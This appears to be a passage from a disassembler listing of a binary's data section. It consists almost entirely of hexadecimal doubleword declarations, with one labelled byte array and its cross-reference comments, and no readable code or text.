		dd 4583E0B8h, 7FD3DF4Ah, 0B83077F2h, 375E0012h,	0D4AEBBACh
		dd 6699CE7h, 56CA0021h,	7341B840h, 88A51DE9h, 2112D8F6h
		dd 5600444Bh, 955C7599h, 3E182606h, 0FB0AD987h,	0D628653Eh
		dd 3BAB5B00h, 0D4AD454Fh, 220A4EBh, 0B8A45646h,	719F6E1h
		dd 57E87713h, 0D101E947h, 0AF61957Fh, 0FBE4899Eh, 48B7ED2h
		dd 309D71CBh, 45C2807Dh, 5001F1D0h, 0ED4B5923h,	984015F6h
		dd 746ABE30h, 0F2D400B8h, 98145F24h, 0E90C4C3Eh, 87C0696h
		dd 0C621C00Eh, 943C1456h, 33456800h, 0E919FE6Dh, 0CC130CF8h
		dd 0E82886CEh, 1D528406h, 0EC108596h, 0B9C600A3h, 0D71C6949h
		dd 8CDF971h, 4AC421A6h,	35AB0C6h, 0CABAF53Fh, 0E900139Ch
		dd 8302CFD5h, 3ED6E6h, 7BBAC8F8h, 0B5529F3Ch, 23EDAF00h
		dd 0CB5038EEh, 6047744Fh, 617848ACh, 405284EBh,	0C64D0244h
		dd 31F949ABh, 543210A5h, 48AA1EC6h, 0B613811Bh,	0C1AF3F08h
		dd 848052ADh, 64E5F484h, 0B8A2E402h, 11D4B1B1h,	57BE0110h
		dd 78DEA001h, 0D5D84892h, 24CE4824h, 888D55h, 2DDC7D89h
		dd 617A40BCh, 50ABB50Bh, 810F45h, 0A497C8Ch, 92F21819h
		dd 0D12D8909h, 0E17A49C0h, 0C12EBFh, 0C346EACAh, 0A3804D98h
		dd 841AC01Fh, 4746C828h, 4EC6A407h, 9AC4E848h, 0C643DB40h
		db 97h
byte_520045	db 60h,	5, 6		; DATA XREF: ___:004385F0o
					; ___:00438608o
		dd 13693C82h, 367E8040h, 299C12h, 0DF1CF1DCh, 6F6BF461h
		dd 0C96030E0h, 8BFED490h, 19A33E08h, 0F3DE0CF7h, 0D8B9163Ch
		dd 3B7D044h, 6B6E94BCh,	2B92F4B6h, 0AAC7DC81h, 0DEC68344h
		dd 250F15h, 63A51A38h, 0BF48A38Eh, 0DF3043F0h, 83F449D2h
		dd 525A017Fh, 493DD8F1h, 800898C9h, 0EB9721h, 0E34E9C7Fh
		dd 0CBB19F0Ch, 0D0488306h, 18D9BD16h, 31D6890Bh, 652891B4h
		dd 0F53F542Dh, 0B1448762h, 8100B3BAh, 0EFFA3Ah,	0B0664EA2h
		dd 410BEA21h, 30F18A30h, 0A44AF2B6h, 789C0250h,	0D9395259h
		dd 42108119h, 0C0007FE7h, 0A16114F9h, 86E4F8Ah,	0BB4DDF25h
		dd 0AA506481h, 6A306692h, 72D4A862h, 0CD863014h, 0B84FDF79h
		dd 0C2EF68A0h, 543EF324h, 5A45E740h, 2985263Ah,	3F251280h
		dd 1D2368h, 4D2137B4h, 5D1AECCCh, 4079D568h, 866D4728h
		dd 83144802h, 19E8B43Dh, 47F3100Bh, 6E230614h, 0F1D13118h
		dd 185B58A1h, 12CC9040h, 3223A149h, 202F5958h, 6A3DC64Fh
		dd 0ACDA0FE4h, 42C4A8BCh, 0C87C8BEBh, 7BCCC0ABh, 4AE43156h
		dd 0E18B1B0Fh, 480A22CFh, 0F3704885h, 16C800A3h, 0E9D0A615h
		dd 80A68694h, 816AB221h, 3E9C145Bh, 886118ACh, 140052FAh
		dd 0F0090BDBh, 0FC77B82h, 0B065676Ah, 9364D680h, 15606912h
		dd 0C702331h, 332D000Dh, 6BCA07Ch, 9D09AA36h, 3618C4Ch
		dd 0C20D4D10h, 0E8F0A03Ch, 71ADCAh, 0AE5DFAEDh,	2AE70910h
		dd 574D8903h, 0A882699Ch, 902D3D02h, 3037C0Ch, 0DF60BC39h
		dd 1CE87E01h, 0C6E0F044h, 0A0E6AE00h, 0EF72DE0Ch, 0A9FB0323h
		dd 0D7779B25h, 6D8CA4A8h, 0EEC0F600h, 0D649C4F5h, 0C8D10070h
		dd 5E817CCAh, 1BFC1813h, 9F64C300h, 0B2EBF901h,	487B3E90h
		dd 5AC19880h, 17A543D8h, 93108F3Eh, 2D01092Ch, 2B121125h
		dd 1DC3D0h, 603D546Ah, 9F9A2E4Ah, 889D7B1Dh, 15B2E9C0h
		dd 3B0D5A8h, 60FBFAF6h,	41003689h, 0BEC1ACD0h, 527AF2h
		dd 9E3F75Dh, 0CA2A9F88h, 1AEC79F8h, 0BCC0C800h,	0F4959923h
		dd 3A6D070Fh, 0C09D6071h, 0E0279B12h, 397F7A00h, 0D480F863h
		dd 4363E84h, 0B980913Ch, 9CBBAEF0h, 7C016E93h, 369DF395h
		dd 8FEC12BCh, 0D5D001Ah, 6389D2DEh, 9961C9A8h, 103848C0h
		dd 30381DCh, 1EB60A06h,	19BBF0D0h, 512533F0h, 0D9B2D00h
		dd 0D38436D5h, 80646153h, 0F0975D28h, 0B700F1EEh, 0EDCFA3C4h
		dd 0DF121A2Dh, 815240C0h, 56BB11D8h, 0BF7A4D03h, 81FD6BFAh
		dd 0C05817F9h, 245A0825h, 16704544h, 0E5E0E927h, 6FE0089Bh
		dd 87404461h, 15FEA22h,	0EEA45584h, 8093BB65h, 0E75C7781h
		dd 7ACA4Ah, 5AA1AC7Bh, 0F93F269Fh, 3C9A8000h, 68FF9562h
		dd 3EF0122Ah, 0BB3000CCh, 0D085869h, 26AD5701h,	0E75BB544h
		dd 3B3E4020h, 65B82389h, 0F4FAFE80h, 6B040903h,	0E8531A40h
		dd 402F0048h, 0AB587E74h, 9D0579BBh, 0DC883BDFh, 0FB00C013h
		dd 4F7D5AECh, 48B2FE80h, 180059D4h, 24363C66h, 9EB82C4Eh
		dd 7363D11Dh, 0F4B0A200h, 0FE5B34h, 36FAD0E4h, 25189C64h
		dd 6CECCA0Eh, 0DA9DC0B6h, 59E222Dh, 0F07851E0h,	5EB5C0D6h
		dd 0F40CA366h, 40F92CFCh, 91460CD9h, 0E262A9A8h, 64F78605h
		dd 0B780E565h, 3FCD717Eh, 323C0D09h, 49339900h,	0DC54B270h
		dd 1762C0C1h, 88600122h, 9F058C4Fh, 91525E78h, 9320388Eh
		dd 400003E8h, 955097E1h, 11CFD48h, 42BB7436h, 343791F2h
		dd 54094520h, 45AEB26Dh, 601EC450h, 1E657DF5h, 4905EE35h
		dd 64A01668h, 496FA3E8h, 9AECB400h, 0BADA0DE5h,	582738FDh
		dd 8E928338h, 0C8248B14h, 7ED2C2ABh, 640640F5h,	4F90038h
		dd 0D3C3DEA2h, 8B3ABDC5h, 6D8400A5h, 1D68F282h,	37E61F43h
		dd 4B7E53F0h, 940049DCh, 89BBA9D5h, 57C90501h, 0C863826Eh
		dd 1817ADC8h, 20D4B102h, 0AB0AD830h, 208D5655h,	8C5B2870h
		dd 0EF149207h, 32E39066h, 56E82308h, 45056826h,	78984948h
		dd 56918B5Eh, 0C942F8C6h, 53E8F102h, 0E0AF8009h, 90BAC8A0h
		dd 4A234BEAh, 0F604D47Ch, 113C3130h, 24D6AA49h,	9EF531Bh
		dd 9083A84Dh, 0F0224F82h, 5D9D168Eh, 92C5F9Eh, 898190B1h
		dd 2C57C42Fh, 3166A1C8h, 65CC50A0h, 0C7F151A9h,	6F293CA8h
		dd 0D8D70416h, 14FEB41Dh, 0E85B6Ah, 0A6D38B1Ch,	6D56218h
		dd 39F3CA74h, 0E828610Eh, 0DA4460C8h, 0D8441887h, 5EB61993h
		dd 0B9EC922Ch, 0B1C2B302h, 0D0709863h, 0FEE091h, 542A7757h
		dd 56DAD84Bh, 9C8D1B00h, 7C013DA1h, 0A7111FFEh,	64E70027h
		dd 885B509Eh, 44D45700h, 326CB19h, 0CAD77102h, 0C8310h
		dd 32408E56h, 1A0866ECh, 16C50D2h, 0F3246FD7h, 0B82980D1h
		dd 5D570E05h, 0D5FA3Fh,	7DC1E64Ch, 0FB0266EDh, 0D68C840h
		dd 0CB6D82C5h, 0BF040E69h, 63EB2C0Ch, 0A314BC10h, 1C0F63Fh
		dd 0DFCA0728h, 0D050FF72h, 6149B2Ch, 8DBF5AD0h,	0CC22293Dh
		dd 3EE52201h, 100B1722h, 21F5F25Eh, 34C908C0h, 880AE388h
		dd 0E490CEB4h, 4C0B5384h, 6B515Fh, 2B270F48h, 0A1D8E819h
		dd 5213DB00h, 0C4D735F8h, 0EECA005Dh, 5F09DE85h, 2907592Ch
		dd 760BA324h, 0A4B0DFC7h, 0DC15B4h, 0A9937DE1h,	4125D639h
		dd 55062200h, 84C0B91Bh, 667E1CF5h, 32148035h, 230B9717h
		dd 8765743Ah, 9F445002h, 100CDBD0h, 643A00E9h, 0B37EA5BFh
		dd 3F18EE40h, 8510B8BDh, 0B0D60048h, 0A2B26A03h, 662AABC9h
		dd 0D17EBC92h, 0D8704B01h, 0BC63D934h, 3EB3A06Ah, 0C5E6EA00h
		dd 0C186DC9Ch, 0ABCC3E55h, 0B3A7D300h, 18882463h, 0F7D28B01h
		dd 0E94F1FE5h, 15E7F0h,	49C5ABC8h, 73B17A75h, 682DDE00h
		dd 455A33ADh, 9D29003Eh, 0B9C56AE0h, 3700B19Ah,	90DE6F92h
		dd 2D7432h, 0C76B54F9h,	5B401228h, 7155DA0Eh, 53A8003h
		dd 3AD52175h, 43805197h, 38D3CEA5h, 2A07EB8Ah, 10D4600Ah
		dd 0E60987B0h, 435C30BDh, 0E3DF0848h, 6F635007h, 0FB73F3A2h
		dd 5601E0C9h, 485F07DBh, 908CD4A0h, 4B410A23h, 36214Ch
		dd 931FC352h, 75B0B3BAh, 0B44C1FDFh, 41244014h,	86A02ED9h
		dd 4B5BC900h, 8DEF4660h, 9AD307CBh, 0F0F16827h,	0DAB6194h
		dd 3810C300h, 444E79EBh, 0FFA7001Bh, 178E1929h,	97000A48h
		dd 30A590ECh, 60FDFBh, 5399CD0Eh, 773C024Ch, 0E5EB1500h
		dd 0A932DAC0h, 0C12A2CFEh, 0AF003CADh, 0B9B7C827h, 0CF0EACF5h
		dd 80BD5F34h, 602219A4h, 92A0073h, 0E78D7D53h, 839A2D8h
		dd 4B4C0EA7h, 0D16920CAh, 3812EF1Ah, 51835953h,	0FB973BF6h
		dd 34AE6FE8h, 37199200h, 2CD00316h, 8BB70039h, 408F4161h
		dd 0E301B59Dh, 9E12F107h, 31E4AD22h, 8C47007Bh,	23593A84h
		dd 1339F7C0h, 0AAAC8061h, 9F5465B0h, 0E5940336h, 2388E639h
		dd 1827A9C0h, 1148F00h,	0AD1371B7h, 5D9807B4h, 604EFCFEh
		dd 75A8ED35h, 7DE84D03h, 0C0DE77FBh, 1BE5C0Ch, 9113E62h
		dd 0E02BA092h, 0F4E9D2F2h, 681CC2DAh, 0CB06560Ah, 0D0AA13h
		dd 0A954E6FBh, 0DEDF5B9Fh, 5EF80C00h, 532AFAA7h, 8B861DF1h
		dd 7E5C8748h, 94A03F11h, 0E9A675D9h, 0EADA1400h, 0A271C080h
		dd 4231079Ch, 0A03F895Dh, 75DB0A74h, 762ACD00h,	4A0EF2E1h
		dd 1CF64Fh, 0AFBECF9Ah,	0EC227C04h, 0D615D000h,	139C991Fh
		dd 0D750003Dh, 7D8B43Bh, 0A8C7B2D2h, 3E10725Dh,	0CD400Dh
		dd 3526DC0Ch, 90D9B463h, 74701F00h, 0B966DA1Eh,	8F050151h
		dd 7640A3D2h, 0E9C0FE9Ch, 0C00FD27h, 192CED99h,	0A037FB88h
		dd 212AA5BCh, 168222CBh
		dd 40CC9A3Fh, 77027998h, 0E58D295Eh, 0DCC50094h, 6BE17F42h
		dd 0AB0092EEh, 17B3B736h, 0A971E71Bh, 87D453C0h, 7F3A001Dh
		dd 178380BBh, 3B7923FBh, 95D47800h, 3F5B0C19h, 2A0E00D7h
		dd 0F1C7684Bh, 7C03D201h, 3B4E8BF8h, 464D8002h,	2DED3D67h
		dd 32299B01h, 30564575h, 9000EF22h, 3903650Bh, 900A5E3Dh
		dd 0CD953823h, 48EA5900h, 4A2FBD12h, 19BB7700h,	0A0E1925Ah
		dd 2B5600B7h, 1CCE3823h, 0EC709054h, 0C84A100h,	302F80FDh
		dd 0B572008Bh, 0B734869Fh, 193CF297h, 1FD40016h, 0DD639EDEh
		dd 0F6837771h, 0E8F139A1h, 0F3868E80h, 23BB371Bh, 0CFF15AFEh
		dd 0E852A2D1h, 97004667h, 0E58E1B1Ah, 161CAF3h,	0A558CE5Fh
		dd 20380CAEh, 4400FDFCh, 6ACF1B20h, 0E20ADB6Dh,	1359029Dh
		dd 4CA96F8Bh, 0E093B360h, 5E2BE703h, 0B0F3D445h, 54783Dh
		dd 0EF2571A2h, 0F7CC3634h, 6E620100h, 4173515Eh, 0E4D6071Eh
		dd 1BC414h, 6DA9FCCCh, 0D76EEE00h, 0EBFF2539h, 99C600C9h
		dd 0E7C33023h, 0D12E2E8Dh, 0A008D42h, 17539CD2h, 0C0410094h
		dd 0FF7E1348h, 7D07F381h, 8FE4B240h, 7A7B3EB0h,	70989ADFh
		dd 38440060h, 22923CC6h, 4F0C68C1h, 0D08CDBB9h,	0D6E800E4h
		dd 93AE38FCh, 2C2F9D85h, 0F746078h, 0BEC90B0Bh,	0A6001CF6h
		dd 0E68AA85Ch, 5BBA3400h, 6DFEE999h, 433D3E6Bh,	20554481h
		dd 8F7C97E5h, 83E6EDD0h, 0F071D974h, 9EB072h, 0F0F3B2E3h
		dd 0D5E43FAAh, 549C38h,	8502364Ah, 3E19D2h, 41A084BAh
		dd 143D3AA8h, 64E0980Fh, 2FFF8058h, 0E3E3F5Eh, 5F15199h
		dd 42204F0Eh, 39811F40h, 0CB009678h, 575F0878h,	2643A9C2h
		dd 0BE38AA52h, 5B46E907h, 80D5153Ah, 0A3A25F14h, 9269AE0h
		dd 0AA033CC3h, 0FE0623EDh, 0D41E0011h, 0AF120786h, 0B8289B4Ah
		dd 340B9C26h, 2014B049h, 357C419Ch, 0B7640911h,	44988DF9h
		dd 0A0015CB3h, 2C190E9Ch, 2970FCFAh, 3E3300C4h,	59E41F26h
		dd 64487F0Fh, 42F6009Ch, 0DD18572Fh, 62483C88h,	829F1A01h
		dd 3E331552h, 0F4CF0C0h, 402A0176h, 6BCDCFF4h, 0B69FC858h
		dd 0E9F93200h, 7D0745D8h, 0AD57002Bh, 900A0191h, 2602FCE5h
		dd 0D9122AF5h, 0C6B8E0F9h, 4ABB03D2h, 605EB6CFh, 3C24D87Dh
		dd 5600A337h, 0EDC86887h, 0B63E0222h, 30D070A3h, 0B54B9CC0h
		dd 9B9EF0F1h, 7D670107h, 0EBC04728h, 0B3B46Eh, 0C5DDBF3Eh
		dd 0A88E0A8Ah, 0D387A00h, 7848CC19h, 2D00092h, 0B63A9B4Ch
		dd 0AB0AEE9Fh, 0CC7B090Eh, 15192680h, 0ECE02558h, 0D05300B8h
		dd 0B080CCE3h, 4300D8BDh, 6189A167h, 0B83C3Eh, 0B6F7A5E9h
		dd 440DE33Bh, 0F4A69C00h, 262DBB36h, 138D0787h,	0C0A1D9D7h
		dd 3F3C2CA9h, 6B5D9700h, 247BC8FFh, 0FA5FEEC1h,	0F08D5047h
		dd 0A0335990h, 9684E224h, 0CCA040C1h, 917DA6B3h, 9A681B00h
		dd 86FDEBD0h, 45220072h, 921A2DAFh, 0D300FFB1h,	0C8B9FC17h
		dd 2025195h, 1939DA68h,	0B4ED1663h, 0AE5A16h, 8531DF04h
		dd 0E204AFD6h, 0C5ECB099h, 0A62F4880h, 54080061h, 1B33DC6h
		dd 0C00166D4h, 603633BBh, 70FC451Ah, 0E08A00D6h, 63C3BC5Ch
		dd 3812D8C5h, 840464A8h, 0CC80EF6Fh, 7952E4Ch, 0E5BC23E4h
		dd 0C81A6031h, 0E600BB8Bh, 63B705A3h, 7C203Eh, 0B90A2C5Eh
		dd 40DD2308h, 41B47150h, 0E500F1F4h, 59771675h,	0CDDB17h
		dd 40CF9444h, 0C08CAFEFh, 0F5DC3F1Eh, 0CEC41303h, 0A9800045h
		dd 84A0475Fh, 400557Dh,	0D8830B7Fh, 3982F3EEh, 120B1829h
		dd 0DC8EA1B2h, 0E81019ACh, 6BB7448h, 4D6F9A32h,	6B08007Ah
		dd 0A3A19ADh, 840F9BC2h, 874F1752h, 0F5F17736h,	74C079D3h
		dd 0F6CF1847h, 0DFFB8866h, 0F3E8D900h, 44C0CCD2h, 0D3A60188h
		dd 0B3A74560h, 7C2FC39h, 9B110300h, 4E652AC0h, 909063h
		dd 0C63E2EFEh, 72071809h, 8AE888CBh, 27006694h,	0A7E49AB8h
		dd 0D322001Fh, 77F7403h, 775C8B2Ch, 0FC00088h, 5642C371h
		dd 1C19019Eh, 0C66E99DFh, 0AC82C615h, 0B3C08BF1h, 7A09A53Bh
		dd 2C778BAh, 0C13004DBh, 25709811h, 0C4B01F37h,	0C8000FDh
		dd 740492DEh, 7C654F02h, 0E00DED18h, 0BA1C20h, 0C8F4808Bh
		dd 0C34B7F4Eh, 0D6618500h, 45DDEC29h, 569F0E5Ch, 0AC41E1D8h
		dd 0C4BC1460h, 902541Dh, 0DCE43D75h, 0B6FF8170h, 0BF059D4h
		dd 46C2001Bh, 0D2CEFEB4h, 0C8B0981Ah, 7606EA00h, 4131C7E3h
		dd 0F65A0FF8h, 0FC00C3F4h, 5FE09BFAh, 0ECD7D407h, 74E0D2A6h
		dd 0FD781AF3h, 77D85DCh, 65629E4Eh, 45CC0F2h, 0AD0075C0h
		dd 2EBED081h, 4050FEh, 6C5E2DD5h, 0D35A33BFh, 3927D16h
		dd 0D8C7CE00h, 98DCC3h,	9961973Eh, 0CC959489h, 8E3C5E0Eh
		dd 0DF6C022Fh, 0ABB780BFh, 351D2Eh, 3A5EE80Ah, 19A05925h
		dd 90128B2Eh, 0D52D6E07h, 0FA8FA930h, 0A0A24C03h, 0AEC0900Eh
		dd 9E8EBFBEh, 6D40B508h, 99A4BB48h, 6CFDAA01h, 0D03685B2h
		dd 615960FAh, 0C2B8009Ah, 1D0F141Eh, 0AB009925h, 3736A656h
		dd 72DE7AD6h, 0B12D0082h, 3353EF7Fh, 1903AEA7h,	1416E344h
		dd 0D0D288CDh, 9225059Bh, 0C082EEF3h, 4E434C8Ch, 0C0000770h
		dd 5F711AF4h, 0BBBE752h, 736FF7CEh, 6DC1D80h, 0BE02369Dh
		dd 0A3B7356Eh, 50B6C00Fh, 76090E12h, 6FA2FB48h,	6CC880F2h
		dd 70912F63h, 0D53F08h,	0CB0AB517h, 4E1E0B01h, 837E5D08h
		dd 4FDD1566h, 0D11D8011h, 9B303CBh, 0E5952D9Fh,	4DEB8EE8h
		dd 0DCE09C01h, 0AB258F2Eh, 9A589864h, 64763A80h, 18B1E114h
		dd 3000AA2Ch, 35B52430h, 90BC8200h, 52F57FFBh, 5C670B73h
		dd 0E1000618h, 0AEB44D78h, 0BA2539h, 0BFBCB2C0h, 9815DE89h
		dd 0AF510108h, 13A253A5h, 4B5880AEh, 0FDBEA131h, 2AB30749h
		dd 409B21B7h, 23F15D32h, 0AB8A6D00h, 763CED9Fh,	0F879E9h
		dd 17A8ECDFh, 0F890CCDh, 27C50112h, 0C8D49B07h,	0CC800DA0h
		dd 0A04E00C2h, 7A06B44Bh, 0E22EF801h, 0A50EF066h, 807F0F46h
		dd 0F2716455h, 659900D7h, 3E40A333h, 7C005652h,	612D36BBh
		dd 7EF027BFh, 1C081FF7h, 8B324742h, 8AC05EE2h, 2E1D3AF1h
		dd 1339E800h, 7F582ACCh, 5260075h, 9FDFC1C4h, 0BD58ABBBh
		dd 84900070h, 3D5C4676h, 0C4EB16F2h, 0CFEF050Bh, 54C440B8h
		dd 9B05D8ECh, 811E7313h, 34008913h, 2917F52Ch, 3BBE0041h
		dd 0BC79F42Eh, 5F00F99Eh, 0D6394813h, 923A8Eh, 0C7F8666Eh
		dd 5B76C92Bh, 0AB007F7Dh, 0C0A6149Ch, 7FA8F2E6h, 793190F5h
		dd 993B012Ch, 4675EF9Eh, 0DDE04079h, 0F300C754h, 0BA3DD7D3h
		dd 92599A3Bh, 27F0104h,	0F91C2383h, 3E62E42Ch, 0AE982203h
		dd 8013C3B2h, 8B9261h, 0E5E96437h, 58FAD1F3h, 38CB0B3Ah
		dd 9DB73810h, 0F4800ABDh, 0DE2614Bh, 3B400023h,	0C17A2184h
		dd 0EA59EB3Fh, 4CEE248Ch, 2FC0E544h, 67EFADh, 45B797AFh
		dd 122BD1AEh, 0F4701606h, 0C06DC4h, 8B49D458h, 51963E69h
		dd 2400BE4Ah, 0F3E3DC6Ah, 16359885h, 741B3Ah, 9DB2DB54h
		dd 0E17CCC4Eh, 0B90043F4h, 0C3D1BD12h, 35299CEh, 250F3344h
		dd 38E8B698h, 0D004C62Dh, 0AF16A1FFh, 65BBA880h, 517DF6h
		dd 0F1D907ECh, 0AA961754h, 0BD1058h, 0B7B3700Dh, 3A0F5941h
		dd 0D8838795h, 5C044868h, 81767CA0h, 0BDA2421Eh, 1A8385C0h
		dd 25AC3BD8h, 0B67E7FD0h, 0FFA19200h, 3E98AA2Eh, 500131B3h
		dd 837B999h, 1D843866h,	0F8BA0A29h, 1319A500h, 0F5ADF460h
		dd 0AC98D1h, 3F49898Fh,	0BDD8A165h, 0B988EF13h,	0BE010E07h
		dd 538E5C9h, 0C02E54E6h
		dd 0B8E1E71Dh, 4A01BC7Dh, 7D988751h, 0E660F9F0h, 0CD4400EEh
		dd 0CA178E27h, 9C00D23Eh, 6932B1C1h, 0E09792h, 3F987308h
		dd 0ABA552C5h, 8AD34101h, 840E3229h, 79426ECh, 0A96903E9h
		dd 40E09930h, 4700596Eh, 0CA0CC20Bh, 16085049h,	2F444Dh
		dd 14E25FA1h, 2007EDF4h, 0AC6DB96Ch, 85943960h,	38C800A4h
		dd 8B7D5EB6h, 3E008306h, 23BD3734h, 90461B1h, 84F1DA6Ah
		dd 86773420h, 0FC38CEC9h, 0B58100F7h, 0ABD1939Ah, 584F0051h
		dd 80C0346Fh, 11162518h, 80002AFBh, 0EBA83B5Fh,	8DA200CAh
		dd 9ECC89CEh, 4B04F4Eh,	0B5CB9303h, 0C8421561h,	0D79404h
		dd 4BFF63B3h, 0B483E239h, 0E828BB04h, 5080414Dh, 13FE6B0h
		dd 7D2FDE78h, 83A52E11h, 8ED528A1h, 0F630E8EEh,	2A08C2E7h
		dd 1C61D362h, 0DFE3FB14h, 0CFB7C9E0h, 0FC1824F9h, 0F053D12Eh
		dd 8336DD80h, 0E8968F3Ch, 0BDFA004Eh, 151078A4h, 84000C45h
		dd 0C3CBEFD0h, 48DB3C7Ch, 0E3281036h, 11451408h, 2E03487Bh
		dd 0A6FD6E30h, 54C88EA2h, 0CE50EFF3h, 86008F38h, 6E682583h
		dd 4413373h, 0C65E644h,	0A917C011h, 4801ADE0h, 3B837EA5h
		dd 5C43CEB7h, 0E2D00512h, 253CAE7h, 0A52F0F30h,	0C8074BC3h
		dd 1CE1A3AFh, 4364F290h, 0EA2000FAh, 5E4841C1h,	3C07BC40h
		dd 8F528770h, 8DD41CD0h, 0F47E0534h, 81988A78h,	0D0180443h
		dd 0CA005096h, 3E790F25h, 0ED0FE5Ch, 19D80BE3h,	9B874220h
		dd 4A39959Ah, 0F3D07ADh, 72C1D30Dh, 6E700A5Eh, 7807C9Ch
		dd 0CB30FB4Ch, 654B406Bh, 0D1C066AAh, 0D1169807h, 3AEE007Fh
		dd 0DF27C161h, 400063BAh, 26211335h, 0EF59591h,	0D7E234AAh
		dd 9BA9C6E1h, 734080A8h, 0F0BE32B9h, 6E8E00E7h,	574B74D6h
		dd 40071DE0h, 5A3FCA18h, 0F130EFB0h, 31960AA2h,	809C88AFh
		dd 3D0EFF01h, 2C7968B1h, 270CDC00h, 380A2182h, 4711003Eh
		dd 0BE3A500Eh, 0C100AA26h, 74132ABh, 402F3Ch, 4C5C661Fh
		dd 0D1C03E23h, 0AA62A839h, 7D03F481h, 88568084h, 2179887Ch
		dd 0D5E38D8h, 87012D3Eh, 0D2DF3D4Eh, 0E431800Eh, 54CCF719h
		dd 933C00AFh, 42C9F4FFh, 0E201B8B7h, 99D3A510h,	0FF108422h
		dd 0AA3B3019h, 0A88B2A2Ah, 9304247Ch, 0F2DF4EB4h, 0AEA282FEh
		dd 88011E2h, 84B97980h,	5E8FCA00h, 5A1064FFh, 7E7053h
		dd 63614FAEh, 8AFE124Ah, 0C833D91Dh, 0C4652800h, 3E3C03Dh
		dd 0F44539DCh, 830D1E4h, 35A321ADh, 66D300C0h, 0BBDC8C73h
		dd 1D747121h, 4FB09003h, 2352E8FFh, 2B07DB59h, 9A405BFh
		dd 78B5A61h, 31C000BEh,	0D34EDCh, 0A08D90F0h, 5F0ACBF3h
		dd 1189DF06h, 682FAAh, 8B65E4C7h, 0B299788Eh, 6478FF77h
		dd 25054800h, 0A8BCB12Bh, 0C6B4E496h, 2078A008h, 26ED6B00h
		dd 0ECA70877h, 5DBE0697h, 6847914Ah, 2D64A9C7h,	977CB540h
		dd 0EB10C327h, 0D9B51E1h, 5C854F8h, 29CF09C6h, 0D9CB0020h
		dd 43E12650h, 6700625Dh, 20D1C59Bh, 14BCF50Dh, 84779290h
		dd 805CEA84h, 1140D124h, 8DD02B61h, 64489A78h, 2825041Ah
		dd 32A9E4B1h, 0E2622094h, 4600DD26h, 158865EEh,	7EDC74Bh
		dd 0BF244E23h, 0C41C40F4h, 11005189h, 15533F05h, 0D19F65h
		dd 12D8306Fh, 32F65FE6h, 81310900h, 0BDEC048Fh,	0B8010788h
		dd 0C0D2A793h, 0C7EE156Ch, 9E862400h, 38445B7Fh, 0E2F10764h
		dd 0E03B7B41h, 27123C0Bh, 0E802D707h, 0C080BA72h, 8E38B2h
		dd 847C2AE3h, 0BD80AB8Ah, 0FFB80200h, 5BF5E70Fh, 3EBF0059h
		dd 0E5FB3BA7h, 7400BA67h, 507A6988h, 8776F0h, 5FD94321h
		dd 0F991FE0Ah, 0B506B200h, 61EE20B1h, 29FD2C56h, 7A7B010Bh
		dd 0C09BC183h, 27005135h, 0FD6AEC2Ch, 0C8737Dh,	45714FE3h
		dd 3108A1B7h, 0BC18DB1Bh, 571EB848h, 0A5CE0346h, 5369ECE2h
		dd 0B27FA9A0h, 0B4B0DF01h, 6521BF1Bh, 3B89DC0h,	5A7126E8h
		dd 0C0FF2B90h, 0B9601895h, 0D8118C7h, 1FAECE0h,	0BE0930E1h
		dd 8DAD72A8h, 5677C31Fh, 0F00F156h, 34E56902h, 9E3900B8h
		dd 48B7A2DFh, 0C300F04Ah, 0EE21AA1Ch, 17DA31A7h, 0BF1FD8h
		dd 56BD0B1Eh, 7A008AC3h, 0D68FB38Bh, 5CD3FA2h, 0ADA6EC45h
		dd 2EDEC094h, 0F300463Bh, 51439EFCh, 1DA3112Bh,	197217h
		dd 0CEF90EBAh, 18735246h, 4A0C2EFEh, 10A103C4h,	1E110685h
		dd 8059C84h, 0FFA75107h, 0AD6123Fh, 0B2585892h,	0F701F63Fh
		dd 6C1BCD93h, 13A0F445h, 0DD7182F5h, 0EEB04Fh, 0D9761E5Eh
		dd 2010E030h, 199EB4Bh,	0A7FD7EF2h, 0CFCB7580h,	7114EA1h
		dd 5020A3E7h, 1AE7820h,	8366B73Eh, 4203DDEFh, 0C9307428h
		dd 7D2C0899h, 4D6480CDh, 99A1EB40h, 10F81D79h, 0F8875606h
		dd 0F4F1ABB6h, 9802782Dh, 1D1B789Eh, 80276C26h,	0EEF16665h
		dd 6405988Eh, 2A9CFFFh,	1100CDC7h, 3E2791h, 5A803A52h
		dd 5ED436CBh, 0D7728B00h, 0A5C5034h, 705D0064h,	0EED4715h
		dd 210059CFh, 5F962C1Bh, 3B3982h, 0F9E0B975h, 32F41A36h
		dd 0C89AB700h, 57A856E4h, 0B8FE3Dh, 1966B33Ch, 0A1878C52h
		dd 14D46F00h, 9BA208ACh, 0BBE60090h, 4205FECFh,	0C90334C8h
		dd 2EF72C8Eh, 3CEC9054h, 0B8FD00E7h, 58279B83h,	9070636h
		dd 26F6FB8Ch, 0F8B6CF00h, 2A3B00D0h, 8D9A33EBh,	3E1CF52Eh
		dd 6803940Ah, 98CC55A2h, 3246EF2h, 0E60D9EA0h, 0FFA84B90h
		dd 9C00E950h, 0A32AFD9Dh, 0E76133h, 0D88C6B7Bh,	0E811EC7Ch
		dd 0D4389778h, 0C5CC80C2h, 0D6446AB4h, 0F0FA00BDh, 0DEC3A4BCh
		dd 8700227Ah, 203A9A51h, 313E62h, 5E105B67h, 0F134C99Fh
		dd 0CC782713h, 0E588E600h, 0B893FAh, 0BA6003ADh, 13679E5Ah
		dd 8D228600h, 56313869h, 0A8680073h, 0E835D0B1h, 0A00E48Ch
		dd 0DF981C03h, 1E84FAFFh, 0AF799AEh, 0B0E76Fh, 2EDB6458h
		dd 3928F409h, 4870CFAh,	3E848C78h, 0EF006C21h, 0B615331Ah
		dd 8200F875h, 9BB486B5h, 1D85B281h, 8B1ED58Ch, 0D20CEECFh
		dd 3C84DC29h, 29C087B3h, 4DA1D44h, 75A90233h, 9CAD23B0h
		dd 0B9422D48h, 21B42469h, 0E112BD1Ch, 6CA23C83h, 83C82911h
		dd 280A9436h, 17280550h, 842C9644h, 0B7403278h,	56174459h
		dd 0F3409844h, 1484F512h, 30D1215Dh, 8C128412h,	0A051A141h
		dd 89632E14h, 67D01098h, 59F27F34h, 737791h, 95746B01h
		dd 69B0A712h, 55BB5400h, 0C161D2AAh, 3AB0A010h,	0E12700E5h
		dd 95A5F4D4h, 660012EFh, 0B3F0047Fh, 810159h, 61DB65ABh
		dd 3F5437A5h, 0E6172B03h, 0E833513Ah, 0B0C4253Bh, 9A1F3982h
		dd 180B4280h, 1DEF6E9Dh, 0F723F400h, 7E82BFE7h,	680300CBh
		dd 91CA21D0h, 0B005E84h, 1B4D0927h, 0EFAEA2h, 57D93B9h
